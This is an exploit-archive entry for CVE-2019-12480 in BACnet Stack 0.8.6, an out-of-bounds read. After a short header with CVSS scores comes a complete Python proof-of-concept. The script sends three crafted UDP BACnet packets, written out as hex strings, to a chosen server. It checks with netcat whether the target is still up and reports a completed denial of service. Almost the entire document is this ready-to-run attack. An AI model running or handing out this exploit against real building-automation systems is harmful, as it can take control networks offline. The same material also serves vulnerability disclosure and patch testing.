BACnet Stack 0.8.6 Denial Of Service

2019.07.25
Credit: mmorillo
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-125


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

# Exploit Title: BACnet Stack 0.8.6 - Denial of Service # Google Dork: [if applicable] # Date: 2019-07-19 # Exploit Author: mmorillo # Vendor Homepage: https://sourceforge.net/p/bacnet/ # Software Link: https://sourceforge.net/projects/bacnet/files/bacnet-stack/bacnet-stack-0.8.6/ # Version: bacnet-stack-0.8.6 # Tested on: Linux # CVE: CVE-2019-12480 #!/usr/bin/env python # # After reported the bug to the vendor, sharing details # about the vulnerability, as well as proof-of-concept code (exploit code to # test), has been release a fix for 0.8.7 release of # BACnet Protocol Stack https://sourceforge.net/p/bacnet/ import socket import struct import argparse import os import sys from termcolor import colored #------------------------------------------------------------------------------ # Command line parser using argparse #------------------------------------------------------------------------------ def cmdline_parser(): parser = argparse.ArgumentParser(conflict_handler='resolve', add_help=True, description='BACnet Protocol Stack Segmentation fault leading to denial of service', version='0.1', usage="python %(prog)s") # Mandatory parser.add_argument('Server', type=str, help='BACnet server IP') parser.add_argument('Port', type=str, help='BACnet port') return parser def get_Host_name_IP(): try: host_name = socket.gethostname() host_ip = socket.gethostbyname(host_name) return host_ip except: print("Unable to get Hostname and IP") def target_alive(BACnetServer, BACnetPort): response = os.system("nc -u -z -w 1 " + BACnetServer + " " + str(BACnetPort)) if response == 0: return True else: return False #------------------------------------------------------------------------------ # Main of program #------------------------------------------------------------------------------ def main(): # Get the command line parser. parser = cmdline_parser() # Show help if no args if len(sys.argv) == 1: parser.print_help() sys.exit(1) # Get results line parser. results = parser.parse_args() BACnetServer = results.Server BACnetPort = int(results.Port) SRC_IP = get_Host_name_IP() if not target_alive(BACnetServer, BACnetPort): print((colored("[+] BACnet server down", "yellow"))) else: if target_alive(BACnetServer, BACnetPort): payload_DeviceCommunicationControl = "\x81\x0a\x00\x16\x01\x04\x00\x05\x01\x11\x0d\xff\x80\x00\x03\x1a\x0a\x19\x00\x2a\x00\x41" print((colored("[+] Sending BACnet DeviceCommunicationControl payload from " + SRC_IP, "green"))) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP s.connect((BACnetServer, BACnetPort)) s.send(struct.pack('>I',len(payload_DeviceCommunicationControl))) s.send(payload_DeviceCommunicationControl) print((colored("[+] Sent Payload: " + payload_DeviceCommunicationControl.encode('hex') + ' to BACnet server ' + BACnetServer + ' port ' + str(BACnetPort), "yellow"))) if target_alive(BACnetServer, BACnetPort): payload_AtomicReadFile = "\x81\x0a\x00\x1b\x01\x14\x00\x05\x01\x06\xc4\x02\x80\x00\x00\x0e\x35\xff\xdf\x62\xee\x00\x00\x22\x05\x84\x0f" print((colored("[+] Sending BACnet AtomicReadFile payload from " + SRC_IP, "green"))) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP s.connect((BACnetServer, BACnetPort)) s.send(struct.pack('>I',len(payload_AtomicReadFile))) s.send(payload_AtomicReadFile) print((colored("[+] Sent Payload: " + payload_AtomicReadFile.encode('hex') + ' to BACnet server ' + BACnetServer + ' port ' + str(BACnetPort), "yellow"))) if target_alive(BACnetServer, BACnetPort): payload_AtomicWriteFile = "\x81\x0a\x00\x1b\x01\x04\x00\x05\x02\x07\xc4\x02\x80\x00\x00\x0e\x35\xff\x5e\xd5\xc0\x85\x0a\x62\x64\x0a\x0f" print((colored("[+] Sending BACnet AtomicWriteFile payload from " + SRC_IP, "green"))) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP s.connect((BACnetServer, BACnetPort)) s.send(struct.pack('>I',len(payload_AtomicWriteFile))) s.send(payload_AtomicWriteFile) print((colored("[+] Sent Payload: " + payload_AtomicWriteFile.encode('hex') + ' to BACnet server ' + BACnetServer + ' port ' + str(BACnetPort), "yellow"))) if not target_alive(BACnetServer, BACnetPort): print((colored("[+] DoS completed", "red"))) #------------------------------------------------------------------------------ # Main #------------------------------------------------------------------------------ if __name__ == '__main__': main()


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